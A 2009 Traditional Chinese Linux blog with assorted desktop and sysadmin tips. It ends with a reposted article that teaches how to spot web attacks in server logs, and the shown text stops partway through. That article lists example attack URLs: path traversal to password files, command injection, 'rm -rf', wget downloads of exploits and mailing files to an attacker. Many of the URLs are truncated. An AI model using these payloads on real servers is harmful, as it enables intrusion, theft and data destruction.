2009年12月25日

修改gnome預設桌面路徑

他定義再~/.config/user-dirs.dirs下,編輯可以看到

我會把"桌面"改成desktop,把"Downloads"改成"downloads",因為在搜尋跟打字上,後面的都比較容易,至於其他的我大多不會使用,就放著吧
改完後記得用mv指令把相對應的內容改過去,比方說
mv 桌面 desktop
mv Downloads downloads

另外有關locales的設定,其實在摩托學員有篇很好的解釋,這邊就抓幾個簡單又重要的指令
locale:得知自己的locale設定
export:得知export的變數
dpkg-reconfigure locales:重新設定locale

2009年12月24日

powertop看一下你的耗電

powertop,可以用來監控你用電的軟體,聽說是intel製作的??
其實他大概也只是分析cpu的耗電(其他耗電大概也沒辦法控制吧,除了GPU)

我筆記型電腦是P-M 1.4G,大多的時候其實是在600MHz左右跳動,然後看了一下脫離閒置的主要原因,竟然大多是firefox Orz,因為firefox是一般人最常用的吧,看來瀏覽器真的是一個會造成耗電增加的怪物XD

2009年12月23日

Ailurus 艾樂若

http://tdt.sjtu.edu.cn/ailurus/?page_id=132
簡介
Ailurus是一個Ubuntu增強程序,它可以安裝/刪除一些沒有Debian安裝包的軟件,它也能改變系統隱藏設置。更重要的是,它告訴您後台是怎麼更改系統設置的。它支持Ubuntu 8.04, 8.10, 9.04和9.10。
Ailurus 原先的名字是「Ubun-student」。更早些時候,它的名字是「Ubuntu Easy Setuper」。

2009年12月22日

[轉載]用xbindkeys為X設置快捷鍵

http://xxb.is-programmer.com/2008/6/20/xbindkeys.3690.html
================================
發現一個設置快捷鍵的好東西--xbindkeys
優點:使用簡單,獨立於桌面環境和窗口管理器,無論使用gnome,kde,還是LXDE等,或者使用openbox,metacity,compiz,都能使用xbindkeys設置全局快捷鍵。
對於使用LXDE的我,有時候需要切換openbox和compiz,xbindkeys的優勢就很明顯了。
缺點:需要在後台運行xbindkeys進程,不過佔資源很少,也可以不視其為缺點。
用法:首先安裝xbindkeys。xbindkey被包含在大多數GNU/Linux發行版中。如果沒有,可以到以下地址下載源碼:
http://hocwp.free.fr/xbindkeys(可能需要代理,偉大的GFW)
裝好後,首先生成默認的配置文件:
$ xbindkeys --defaults > $HOME/.xbindkeysrc
然後運行
$ xbindkeys -k
接著按下你想定義的快捷鍵,比如"Alt+f",將會看到類似這樣的輸出:
Press combination of keys or/and click under the window.
You can use one of the two lines after "NoCommand"
in $HOME/.xbindkeysrc to bind a key.
"(Scheme function)"
    m:0x18 + c:41
    Alt+Mod2 + f
把最後三行複製到~/.xbindkeysrc文件中,並把(Scheme function)替換為想設置的該快捷鍵對應的命令,比如:
"firefox"
    m:0x18 + c:41
    Alt+Mod2 + f
或者更簡單一點,這樣就行了:
"firefox"
    Alt+f
如此這般,按下快捷鍵"Alt+f",firefox便會運行了。
運行 xbindkeys_show (快捷鍵control+shift + q)可以查看已經設置好的快捷鍵。
一般來說,修改~/.xbindkeysrc,快捷鍵會立即生效。也可以使用這個命令強制重新加載~/.xbindkeysrc:
$ killall -HUP xbindkeys
當然,還有很重要的一點,想讓快捷鍵生效,必須先運行xbindkeys,建議讓它開機自動運行。
更多有關xbindkeys的信息可以參考 man xbindkeys,或者閱讀官方網站的文檔。

2009年12月21日

[轉載]安裝 PDF 虛擬印表機

http://nelson.pixnet.net/blog/post/12644572
===============================
在 Ubuntu 7.10 底下要安裝一台 PDF 虛擬印表機是一件很容易的事。首先要安裝 cups-pdf 套件,在 Ubuntu 7.10 應該預設就有裝了,沒有的話可以透過以下這道指令來安裝:
sudo apt-get install cups-pdf
然後去『系統->管理->列印』新增一台印表機,其他的後續動作就看圖說故事吧。

在選擇driver或者廠牌的時候選擇generic選項,然後找 generic pdf-file generator就搞定了

2009年12月20日

[轉載]Xorg 7.5

http://www.abc188.com/info/html/xingyezixun/yejiedongtai/20090514/146478.html
========================================
釐清了xorg裡的一些概念 今天看到一篇不錯的英文文章,解釋了xorg實現裡的一些概念,也解決了我的一些疑惑。概括並解釋一下。 期待已久的DRI2被排除出了Xorg 7.4版本了,為什麼呢? 是為了給GEM取代TTM讓路,而DRI2的實現目前依賴於TTM。 目前的Xserver渲染架構嚴重落後
   釐清了xorg裡的一些概念
今天看到一篇不錯的英文文章,解釋了xorg實現裡的一些概念,也解決了我的一些疑惑。概括並解釋一下。

期待已久的DRI2被排除出了Xorg 7.4版本了,為什麼呢? 是為了給GEM取代TTM讓路,而DRI2的實現目前依賴於TTM。

目前的Xserver渲染架構嚴重落後於時代,自Xfree時代遺留的問題在Xorg裡也未得到足夠的重視,所以現在到了革新的時候。2D加速,3D加速 等都依賴於一個好的內存和執行管理器,這也是最難的部分。目前的xorg驅動都實現了各自的存儲管理,提供DRI1接口,並負責 modesetting。

Memory manger位於內核中,並為用戶空間的程序提供一套操作API。由各個不同的顯卡硬件抽象出相同的操作,大家共享這部分代碼,剩下的與具體硬件相關的部 分由各個顯卡分別實現。老的TTM管理器API複雜,而且不適合現代顯卡架構,於是Intel提出了GEM來取代之,目前GEM裡只包含Intel自己的 硬件相關部分,ATI驅動的一個分支也實現了對GEM的支持。GEM目前已經進入2.6.28版本的內核。

Kernel mode setting:內核也做一部分modesetting的工作,比如系統引導的時候顯示的信息,這些都是內核提前做了mode setting,而我們在進入X前,加載xorg驅動模塊的時候,xorg驅動再做一次modesetting,重置顯示設定,所以會有屏幕閃爍的情況出 現。現在的kernel mode setting就是要把這部分功能移到內核裡,完全由內核做mode setting。Fedora 9/10已經實現了這個功能,所以從啟動內核到進入X不會有閃爍,一切都很平滑,並且可以做很多eye candy的東西。目前KMS還未進入內核,最早也要等到2.6.29版本了。

DRI2是下一代的Direct Rendering Infrastructure,具有重定向(redirect) direct rendering功能。在當前,一個程序如果使用了OpenGL窗口,顯示內容是直接寫到framebuffer裡的。這會跟使用了composite 功能的窗口管理器WM衝突,這是為什麼Google Earth在compiz下支離破碎的原因。而通過DRI2,OpenGL窗口內容先被重定向的offscreen memory裡,然後由WM負責輸出,就不再會有衝突。而DRI2是基於老的TTM設計的,需要針對GEM作修改。

2D加速方面,EXA 將要取代老的XAA,但EXA也只是xorg server全面轉向OpenGL前的一個臨時解決方案。XAA不對大量常用2D操作作加速,並且對XRender的加速也支持不夠。Intel又提出了 UXA來取代EXA,當前UXA提供和EXA同樣的API,但是利用了新的GEM管理器。

Redhat的一個大牛不滿X架構的嚴重老化,另起爐灶設計一個全新的X server,代號Wayland,目前還不實用,拭目以待吧。

針對GEM修改後的DRI2預計會伴隨Xserver 1.6於09年初發佈,同時還將釋出RandR 1.3。而Xorg 7.5預計09年四月發佈,屆時將會伴隨Xserver 1.7。至於kernel mode setting,Ubuntu開發者將於下月召開的會議上討論是否用Fedora的Plymouth替換Usplash,如果在9.04版裡引入 Plymouth,我們就能用上KMS。Mesa 7.2不支持GEM,git版本的似乎也不行,估計要到7.3/7.4才會支持。
轉自:http://portis21.spaces.live.com/ ... 73A746A31!532.entry

未來Xwindow=compiz+(Wayland)+DRI2+UXA+GEM+kernel mode setting
隨著Linux顯示效率的提升,大型遊戲不會再是Windows的專利了。Intel公然搞GEM提高3D性能,就是明擺著要Linux向桌面市場開火。

2009年12月18日

加速firefox--sqlite與ramdisk

壓縮sqlite檔案
其實這已經是大家都知道的事情,因為firefox的一些歷史紀錄的功能導致某些檔案不斷地成長,檔案變大導致IO次數變多,連帶影響到firefox載入的速度
for f in ~/.mozilla/firefox/*/*.sqlite; do sqlite3 $f 'VACUUM;'; done
使用這行指令可以進行sqlite檔案的壓縮,其實只要壓縮檔案比較大的sqlite就可以了,我覺得小的檔案壓縮也不見得讓firefox加速多少,因為解壓縮的時間根本就可以把IO時間抵銷了。其中VACUMM本身的功能,要使用指令sqlite3記得先安裝sqlite3套件

我並沒有完全只用上面的script,我只有針對大型檔案作壓縮,下面是壓縮前的圖片

可以看到urlclassifier3.sqlite跟places.sqlite檔案超過1MB,就針對這兩個檔案壓縮

 
結果urlclassifier3.ssqlite由42MB=>27MB,的確有效下降,程式載入速度也有略為提昇
 
使用ramdisk
使用ramdisk一般而言不會對啟動速度也太大的影響,不過在載入網頁等等應該有不錯的正面效益,因為ramdisk就是把記憶體當作硬碟空間使用,網頁載入時候常會把一些圖片等等資料寫入硬碟,改把動作改到記憶體就可以加速
在/etc/fstab下面加入tmpfs
tmpfs  /tmp/cache tmpfs  size=128M  0  0 
用root建立路徑,跟著把他掛載起來
mkdir /tmp/cache 
mount -a
修改firefox設定,讓他知道有這個目錄,在網址列輸入about:config
按下滑鼠右鍵,"新增"=>"字串"
名稱為browser.cache.disk.parent_directory,值為/tmp/cache

重新開啟firefox就可以了

GUI備份軟體sbackup

http://playubuntu.blogspot.com/2008/09/guisbackup.html

今天就笑笑吧~專案出包理由產生器

http://bingo.handlino.com/machines/3586#
還是類似用拉霸的方式產生的,有趣
我用了幾個範例

客戶那邊的user擺爛跑去吃午飯
沒辦法設計師還搞不清楚狀況
負責談需求的PM突然就沒來了
直到上線前一天聯絡窗口做事拖拖拉拉
負責這個部分的工程師都沒有跟我講
直到上線前一天老闆一直在狀況外

2009年12月17日

chrome使用心得

現在已經可以用apt-get install google-chrome來安裝瀏覽器了
本來還得到google的chrome首頁去下載,再用dpkg安裝,現在不用了
以上是錯誤的消息


chrome速度目前看起來比firefox快,另外目前chrome進入4.x版本之後
已經開始支援plug-in,有一堆有用的plug-in,包含很多人想要的ad-lock功能
不過ㄋㄟ......很可惜,很多用法都跟firefox不大一樣

另外chrome給我的感覺是字體的render好像不大漂亮,相較於firefox來說
不過啟動速度真的比firefox快許多

2009年12月16日

[轉載]安裝linux工具

由ubuntu正體中文站看來的
=======================
有隨身碟的話(至少要1GB容量)
建議你去下 unetbootin 這個工具:
http://unetbootin.sourceforge.net/
註:點左邊藍色大顆的 windows 按鈕,就可以下載

這工具不用安裝,是綠色單一檔
只有一個 exe 執行檔,直接執行
支援多種 Linux Distro 發行版,包括 Ubuntu



此工具作用:將 Ubuntu ISO 弄到隨身碟上面去,使隨身碟可以開機。BIOS 要調 USB 外接設備優先開機。

好處:
1.不必燒光碟,甚至也不需要光碟機(某些輕省筆電無光碟機)。
2.不會有燒壞掉,製造杯墊,浪費空白光碟片的情況。
3.USB 開機和安裝,速度比光碟片快,且也不會像光碟機會挑片。



其它提醒事項:
------------------
網路下載 ISO 檔,下好後一定要檢查 MD5sum 檢驗碼

因為 ISO 檔很大,有可能下載途中連線問題,導致下載的資料發生錯誤,與原始內容不同。

通常FTP網站都有公佈 MD5碼,在一個名稱中有 md5 的 txt 文字檔。

檢查檔案 MD5 的小工具軟體,搜尋一下即可找到,關鍵字 winmd5(windwos下的)。

---------------------------------------

wubi 在 Ubuntu 開機光碟裡面就有了,掛載 ISO 檔到虛擬光碟,光碟根目錄裡面就有 wubi 這支程式。

wubi 類似一種半虛擬的,會將 Ubuntu 整個系統當資料夾,安裝在 windwos 現有檔案系統裡面,使 Ubuntu 和 windwos 完美共存,也能直接「新增/移除程式」無痕移除掉。

但是不推薦使用,wubi 只適合體驗。因為目前版本的 wubi 有 bug,進入 Ubuntu 更新系統,如果有更新到 grub,wubi 就掛掉了,無法再開機進 Ubuntu(不過可以開進 windows 去把 wubi 移除掉)。

這 bug 不知道解決了沒有,我一個月前用 9.10 的 wubi 是有這個問題。

如果一定要用 wubi 的話,注意更新系統時,有沒有 grub 的項目,有的話取消勾選不要更新。

另外 wubi 安裝時,網路線拔掉,裝好開機(第二次)真正進入 Ubuntu 桌面,再插上網路線。

然後去修改 apt 的 souce源,指定台灣的 FTP 伺服器,不然會等到睡著,因為 wubi 不認得台灣環境,會去找國外的伺服器下載套件包,極龜速,裝半天也裝不好...

2009年12月15日

[轉載]Ubuntu9.10上安裝Cisco VPN Client

上個週末,一時興起上網下載了Ubuntu9.10來玩玩看,沒想到這一玩就欲罷不能,從一開始只想上上網,到現在還想安裝VPN連回公司作業。
在嘗試完成這項目標的過程當中,遇到了不少困難,但是感謝網路上許多貴人相助,才讓我順利完成。
我只是個linux的新手,簡單分享一下這次的經驗,若有錯誤或不足之處,還請各路高手指教。
1.首先先下載Cisco VPN Client for Linux
http://projects.tuxx-home.at/ciscovpn/clients/linux/
2.再下載修正Patch
http://lamnk.com/download/vpnclient-linux-2.6.31-final.diff
3.將下載回來的Cisco VPN client解壓縮

@@所有下載檔案我都讓它存在預設路徑 /Downloads,所以解壓縮後的東西我也放在Downloads下面
@@把修正Patch檔案放入解壓縮後的資料匣內,後面比較方便安裝

4.打開附屬應用程式裡的終端機

5.輸入以下指令
cd Downloads
cd vpnclient
patch < ./vpnclient-linux-2.6.31-final.diff

6.請再開一個新的終端機,輸入以下指令

sudo sed -i 's/const\ struct\ net_device_ops\ \*netdev_ops;/struct\ net_device_ops\ \*netdev_ops;/' `find /usr/src -name netdevice.h`

@@sudo指令系統會跟你要密碼,請給它你的開機密碼就對了。
@@步驟六是我歷經多次失敗後上網找到的指令,到底是在幹嘛我完全不知道,但是沒打這串,安裝就不會成功

7.在終端機輸入 sudo ./vpn_install

8.跑玩安裝程序後,就是要建立連線資料檔案啦!
首先到 /etc/opt/cisco-vpnclient/Profiles/ 目錄下,會看到一個檔案叫作 sample.pcf,按右鍵選擇以其他程式開啟,選用文字編輯器開啟。

@@由於Ubuntu9.10我才摸了三天,所以很多東西我都搞不懂,上網爬文說Profile檔案放在 /etc/opt/cisco-vpnclient/Profiles/ 但是我就是找不到這個目錄,所以我都是用Alt+F2叫出執行程式,然後直接打路徑來開啟我要的目錄。


9.內容如下,請依照自己公司的內容輸入,完成請後存檔。 <>內的文字是我的說明,不用輸入
[main]
Description=VPN Client for Ubuntu 9.10 <說明:這是內容標示可隨意輸入>
Host=1.1.1.1 <說明:公司VPN Server 的IP>
AuthType=1 <說明:預設值,無須更動>
GroupName=abcd <說明:公司VPN的Group Name>
EnableISPConnect=0 <說明:預設值,無須更動>
ISPConnectType=0 <說明:預設值,無須更動>
ISPConnect= <說明:預設值,無須更動>
ISPCommand= <說明:預設值,無須更動>
Username=wahaha <說明:你的VPN帳號>
SaveUserPassword=0 <說明:以下都用預設值即可,無須更動>
EnableBackup=0
BackupServer=
EnableNat=1
CertStore=0
CertName=
CertPath=
CertSubjectName=
CertSerialHash=00000000000000000000000000000000
DHGroup=2
ForceKeepAlives=0
GroupPwd=
enc_GroupPwd=
ISPPhonebook=
UserPassword=
enc_UserPassword=
NTDomain=
EnableMSLogon=1
MSLogonType=0
TunnelingMode=0
TcpTunnelingPort=10000
SendCertChain=0
PeerTimeout=90
EnableLocalLAN=0
eMSLogon=1
MSLogonType=0
TunnelingMode=0
TcpTunnelingPort=10000
SendCertChain=0
PeerTimeout=90
EnableLocalLAN=0

10.開啟一個終端機,輸入
sudo /etc/init.d/vpnclient_init start

11.最後輸入
sudo vpnclient connect sample

Cisco Systems VPN Client Version 4.8.01 (0640)
Copyright 咖啡杯 1998-2007 Cisco Systems, Inc. All Rights Reserved.
Client Type(s): Linux
Running on: Linux 2.6.31-16-generic #53-Ubuntu SMP Tue Dec 8 04:01:29 UTC 2009 i686
Config file directory: /etc/opt/cisco-vpnclient

Enter a group password: <說明:請輸入貴公司的Group password>
Initializing the VPN connection.
Contacting the gateway at 1.1.1.1
User Authentication for abcd...

The server has requested the following information to complete the user authentication:

Username [wahaha]: <說明:按enter即可>
Password []: <說明:輸入你的密碼>
Authenticating user.
Negotiating security policies.
Securing communication channel.

Your VPN connection is secure.

VPN tunnel information.
Client address: 10.1.1.1
Server address: 1.1.1.1
Encryption: 168-bit 3-DES
Authentication: HMAC-SHA
IP Compression: None
NAT passthrough is inactive
Local LAN Access is disabled

@@sudo vpnclient connect 括弧裡的字樣是你的pcf檔的檔名,請在輸入時不要加上付檔名,我在這裡也卡了好一陣子。

12.恭喜你,VPN已經連線啦!!最後用終端伺服器用戶端程式即可遠端連回辦公室的Windows XP啦!!



========================
來源
http://www.mobile01.com/topicdetail.php?f=300&t=1345538&m=s&s=11&b=7&r=2&last=16422969

2009年12月14日

[轉載]給程式設計師的Vim入門圖解說明

http://blog.vgod.tw/2009/12/08/vim-cheat-sheet-for-programmers/
蠻有趣的文章



過時的新聞--chrome在linux"上市" XD

google的chrome已經出linux版本的!!有體驗了一下,的確還蠻快的,不過還是等有plug-in再說,因為沒有ad-block的瀏覽器...對速度來說,我寧可選擇沒有廣告XD
http://www.google.com/chrome

VIM自動補齊

http://rickey-nctu.blogspot.com/2009/03/vim-supertab-omnicppcomplete.html
http://www.openfoundry.org/index.php?option=com_content&Itemid=334&id=2215&lang=en&task=view
http://adrianhuang.blogspot.com/2007/09/trace-code-gvimctagscscope.html
http://articles.techrepublic.com.com/5100-10878_11-5054618.html#
http://eclim.org/vim/java/complete.html

vim tip
http://greenisland.csie.nctu.edu.tw/wp/category/comuter/vim/
http://blog.othree.net/log/vim/
http://blog.yam.com/jimpai/article/10926423

2009年12月13日

samba server改用tdbsam 作為密碼的資料庫檔案

印象中samba給的理由其中之一效能,講真的啦使用者最多也幾十個就很了不起了,沒啥可能多到幾百個吧。再算真的有幾百個使用者,那麼多人同時在存取一台samba server,這台server我看效能真的會變成"笑能"(disk狂轉)
anyway~如果smbpasswd不能用那要用啥?更改samba帳號的密碼指令變更為
pdbedit -a -u [account]

proxy案例

話說對岸的封鎖相當厲害,有某公司就對他們的MIS提出必須設計"翻牆"機制的要求(還限定給高層用,果然老闆的規則都跟人家不一樣)
由於是私有的Proxy,當然會希望不要給大家用,只有某些人能用(特權??),跟著還說要那些高層輸入帳號密碼作認證可能是不可行的XD
輸入帳號密碼的解決方案可能是使用RSA key做個認證來解決
只允許特定使用者方案?有人就提議說,那就鎖定mac address吧,很可惜,不行,因為可能會透過NAT的模式連到外面,可能mac address會被換掉XD
有人說那就是用VPN吧,這真的是個不錯的方案,不過又被高層否決說,因為頻寬可能不夠,所以必須"儘量"不要用VPN(就是不給用吧~說那麼多)
最後對方似乎鎖定特定IP網域,其實如果高層跑去咖啡廳上網,那不就是??(如果用3G上網呢?是不是又回到原點啦XD)
看來高層的簡單幾句話就可以整死MIS!!XD

2009年12月12日

Gnome Commander

直接看圖片吧,主要方邊兩邊拷貝(我認為)

在window$底下有個類似的應用程式叫做FreeCommander
==================================
最近家裡有些事情,心情實在很亂,大概寫的東西都密度不高吧,如果有高一點的大多都是貼來的或者之前的東西把他筆記下來

2009年12月11日

封鎖facebook

其實網路上看到的方法百百種
1.封鎖DNS紀錄
只能防止一般使用者
2.封鎖IP
其實可以用proxy原理的各種工具繞出去
3.封鎖URL
這似乎是個比較有效的方案,不過是屬於高層的,對於流量大的公司可能不合適
4. IDP(Intrusion Detection and Prevention)設備
比較昂貴,效果應該是取決於該硬體

2009年12月10日

[轉載]80埠web服務攻擊痕跡(LOG研究)

80埠web服務攻擊痕跡(LOG研究)

80埠web服務攻擊痕跡

作者: Zenomorph
翻譯:盈星滿月

I. 摘要
II.詳細描述
III. 更進一步
IV. 溢出分析
V. 編碼轉換
VI. 結論

[摘要]
web站點默認80為服務埠,關於它的各種安全問題不斷的發佈出來,這些漏洞中一些甚至允許攻擊者獲得系統管理員的許可權進入站點內部,以下是Zenomorph對一些80埠攻擊方式的痕跡的研究,和告訴你怎樣從日誌記錄中發現問題。

[詳細描述]
下面部分通過一些列子,展示對web伺服器和其上的應用程式普遍的攻擊,和其留下的痕跡,這些列子僅僅是代表了主要的攻擊方式,並沒有列出所有的攻擊形式,這部分將詳細描述每種攻擊的作用,和其怎樣利用這些漏洞進行攻擊。

(1)"." ".." 和 "..." 請求
這些攻擊痕跡是非常普遍的用於web應用程式和web伺服器,它用於允許攻擊者或者蠕蟲病毒程式改變web伺服器的路徑,獲得訪問非公開的區域。大多數的CGI程式漏洞含有這些".."請求。
Example:

http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

這個列子展示了攻擊者請求mosd這個檔,如果攻擊者有能力突破web伺服器根目錄,那麼可以獲得更多的資訊,並進一步的獲得特權。

(2)"%20" 請求
%20是表示空格的16進制數值,雖然這個並不代表你能夠利用什麼,但是在你流覽日誌的時候會發現它,一些web伺服器上運行的應用程式中這個字元可能會被有效的執行,所以,你應該仔細的查看日誌。另一方面,這個請求有時可以幫助執行一些命令。
Example:

http://host/cgi-bin/lame.cgi?page=ls%20-al

這個列子展示了攻擊者執行了一個unix的命令,列出請求的整個目錄的檔,導致攻擊者訪問你系統中重要的檔,幫助他進一步取得特權提供條件。

(3)"" 請求
表示16進制的空位元組,他能夠用於愚弄web應用程式,並請求不同類型的檔。
Examples:

http://host/cgi-bin/lame.cgi?page=index.html

這可能是個有效的請求在這個機子上,如果攻擊者注意到這個請求動作成功,他會進一步尋找這個cgi程式的問題。

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd

也許這個cgi程式不接受這個請求,原因在於它要檢查這個請求檔的尾碼名,如:html.shtml或者其他類型的文件。大多數的程式會告訴你所 請求的檔類型無效,這個時候它會告訴攻擊者請求的檔必須是一某個字元尾碼的檔類型,這樣,攻擊者可以獲得系統的路徑,檔案名,導致在你的系統獲得更多的敏 感資訊

http://host/cgi-bin/lame.cgi?page=../.. ... otdhtml

注意這個請求,它將騙取cgi程式認為這個檔是個確定的可接受的檔類型,一些應用程式由於愚蠢的檢查有效的請求檔,這是攻擊者常用的方法。

(4)"│" 請求
這是個管道字元,在unix系統用於幫助在一個請求中同時執行多個系統命令。
Example:

# cat access_log│ grep -i ".."

(這個命令將顯示日誌中的「..「請求,常用於發現攻擊者和蠕蟲攻擊)
常可以看到有很多web應用程式用這個字元,這也導致IDS日誌中錯誤的報警。
在你的程式仔細的檢查中,這樣是有好處的,可以降低錯誤的警報在入侵檢測系統中。
下面給出一些列子:

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls

這個請求命令執行,下面是一些變化的列子

http://host/cgi-bin/lame.cgi?page=../.. ... -al%20/etc

這個請求在unix系統中列出/etc目錄的所有檔

http://host/cgi-bin/lame.cgi?page=cat%20access_log│grep%20-i%20"lame"

這個請求cat命令的執行並且grep命令也將執行,查詢出」lame"

(5)";" 請求
在unix系統,這個字元允許多個命令在一行執行
Example:

# id;uname -a

(執行id命令後,緊跟著執行uname命令)
一些web程式用這個字元,可能導致在你的IDS日誌中失敗的警告,你應該仔細的檢查你的web程式,讓你的IDS警報失敗的幾率降低。

(6)"" 請求
應該檢查你的日誌記錄中這兩個字元,眾多的原因中,首要的一個是這個字元表明了添加資料在檔中
Example 1:

# echo "your hax0red h0 h0" >> /etc/motd (請求寫資訊在motd這個檔中)

一個攻擊者可以容易的用象上面的這個請求篡改你的web頁面。比如著名的RDS exploit常被攻擊者用於更改web主頁面。
Example 2:

[url=http://host/something.php=Hi%20mom%20Im%20Bold!Hi%20mom%20Im%20Bold!

你會注意到這裡html語言的標誌,他同樣用了「〈」,「〉」字元,這種攻擊不能導致攻擊者對系統進行訪問,它迷惑人們認為這是個合法的資訊在 web站點中(導致人們在訪問這個聯結的時候訪問到攻擊者設定的位址,這種請求可能會被轉變成16進制的編碼字元形式,使攻擊的痕跡不那麼明顯)

(7)"!"請求
這種字元請求常用語對SS(Server Side Include) I進行攻擊,如果攻擊者迷惑用戶點擊被攻擊者設定的聯結,和上面的一樣。
Example:

http://host1/something.php="-->

這個列子是攻擊者可能會做的,它讓一個host2站點上的檔看起來是來自於 host1上面的(當然,需要訪問者訪問這個被攻擊者設定的聯結。這種請求可能被轉化成16進制的編碼偽裝,不易發現)
同時,這種方式也可以以web站點的許可權執行命令
Example:

http://host/something.php="-->

這個列子在遠端的系統上執行「id"的命令,它將顯示這個web站點用戶的id,通常是」nobody"或者「www"
這種形式也允許包含隱藏檔。
Example:

http://host/something.php="-->

這個隱藏檔.htpasswd不會被顯示出來,Apache建立的規則會拒絕這種以.ht 形式的請求,而SSI標誌會繞過這種限制,並導致安全問題

(8)"
在某些簡單的php應用程式中,它可能會在遠端系統上以web站點用戶的許可權執行本地命令

(9)"`" 請求
這種字元後面常用在perl中執行命令,這個字元在web應用程式中不是經常的使用,所以,如果看到它在你的日誌中,應該非常小心
Example:

http://host/something.cgi=`id`

一個perl寫的有問題的cgi程式,會導致執行id命令

[更進一步]
下面部分將討論更多的攻擊者可能執行的命令,連同被請求的檔,以及如果你有遠端執行命令的缺陷,應該怎樣檢查發現它。這部分只是給你個好的思路,並告訴你的系統發生了什麼,攻擊者嘗試攻擊你的系統的痕跡,但並不能列舉所有的攻擊者使用的命令和請求的方式。

"/bin/ls"

這個命令請求整個路徑,在很多的web應用程式中都有這個漏洞,如果你在日誌中很多地方都看到這種請求,很大的可能性是存在遠端執行命令漏洞,但 並不一定是個問題,也可能是個錯誤的警報。再一次提醒,寫好的web應用程式(cgi,asp,php...etc)是安全的基礎
Example:

http://host/cgi-bin/bad.cgi?doh=../../. ... n/ls%20-al
http://host/cgi-bin/bad.cgi?doh=ls%20-al;
"cmd.exe"

這是一個windows的shell,一個攻擊者如果訪問並運行這個腳本,在伺服器設置允許的條件下可以在windows機器上做任何事情,很多的蠕蟲病毒就是通過80埠,傳播到遠端的機器上

http://host/scripts/WINNT/system32/cmd.exe?dir+e:
"/bin/id"

這是個2進制的檔,它的問題和/bin/ls一樣,如果你在日誌中很多地方都看到這種請求,很大的可能性是存在遠端執行命令漏洞,但並不一定是個問題,也可能是個錯誤的警報。
它將顯示屬於哪個用戶和屬於哪個組
Example:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/id
http://host/cgi-bin/bad.cgi?doh=id;
"/bin/rm"

這個命令可以刪除檔,如果不正確的使用是非常危險的
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... %20-rf%20*
http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;

"wget and tftp" 命令
這些命令常被攻擊者用來下載可能進一步獲得特權的檔,wget是unix下的命令,可能被用來下載後門程式,tftp是unix和nt下的命令,用來下載文件。一些IIS蠕蟲通過tftp來複製自身傳播病毒到其他的主機
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... hantasmp.chttp://host/cgi-bin/bad.cgi?doh=wget%20 ... antasmp.c;

"cat" 命令
這個命令用來查看檔內容,常用來讀重要的資訊,比如配置檔,密碼檔,信用卡檔和你能夠想到的檔
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... 0/etc/motdhttp://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;

"echo" 命令
這個命令常用於寫資料到檔中,比如「index.html」
Examples:

>%200day.txt'>http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt│ >%200day.txt'>http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;

"ps" 命令
列出當前運行的進程,告訴攻擊者遠端主機運行了那些軟體,以便從中得到一些安全問題的主意,獲得進一步的許可權
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... /ps%20-auxhttp://host/cgi-bin/bad.cgi?doh=ps%20-aux;

"kill and killall" 命令
在unix系統這個命令用於殺掉進程,一個攻擊者可以用這個命令來停止系統服務和程式,同時可以擦掉攻擊者的痕跡,一些exploit會產生很多的子進程
Examples:

http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;

"uname" 命令
這個命令告訴攻擊者遠端機器的名字,一些時候,通過這個命令知道web站點位於哪個isp,也許是攻擊者曾今訪問過的。通常uname -a來請求,這些都將記錄在日誌檔中
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... uname%20-ahttp://host/cgi-bin/bad.cgi?doh=uname%20-a;

"cc, gcc, perl, python, etc..." 編譯/解釋命令
攻擊者通過wget或者tftp下載exploit,並用cc,gcc這樣的編譯程序進行編譯成可執行程式,進一步獲得特權
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... hantasmp.chttp://host/cgi-bin/bad.cgi?doh=gcc%20P ... p%2031337;

如果你查看日誌中發現有「perl」 python」這些說明可能攻擊者下載遠端的perl ,python腳本程式,並試圖本地獲得特權

"mail" 命令
攻擊者通常用這個命令將系統的一些重要檔發到攻擊者自己的信箱,也肯能是進行郵件炸彈的攻擊
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... ker.org%20

"xterm/其他X 應用程式" 命令
xterm 常用來獲得遠端機器上的shell,如果你在你的日誌中發現這些符號,可要認真分析你的系統,可能已經存在安全裂口。注意在日誌中查找"%20-display%20" 這個字元,這種痕跡通常是在遠端機子上啟動xterm或者X應用程式
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... 2.168.22.1http://host/cgi-bin/bad.cgi?doh=Xeyes%2 ... .168.22.1;

"chown, chmod, chgrp, chsh, etc..." 等命令
在unix系統這些命令允許改變檔的許可許可權
chown = 允許設置檔的擁有者chmod = 允許設置檔的許可許可權chgrp = 允許改變組對檔的擁有許可權chsh = 允許改變用戶的shell
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... index.htmlhttp://host/cgi-bin/bad.cgi?doh=chmod%2 ... ndex.html; http://host/cgi-bin/bad.cgi?doh=../../. ... ter.passwdhttp://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh; http://host/cgi-bin/bad.cgi?doh=../../. ... etc/shadow

"/etc/passwd" 文件
這是系統的密碼檔,一般是shadow過的,並且不允許看到加密的口令,不過對攻擊者來說,可以知道那些是有效的用戶,以及系統的絕對路徑,站點名稱等資訊,由於通常被shadow過的,所以對攻擊者,通常會查看/etc/shadow 檔

"/etc/master.passwd"

這個檔是BSD系統的密碼檔,包含有加密過的密碼,這個檔對root帳號僅僅是唯讀的,而一些不熟練的攻擊者會打開他試圖讀取裡面的內容.,如果web站點是以root許可權運行的,那麼對攻擊者來說,就能夠讀取裡面的內容,對系統管理員很多問題也將接踵而來

"/etc/shadow"

包含有加密過的系統口令,對root帳號同樣唯讀,和/et/master.passwd差不多

"/etc/motd"

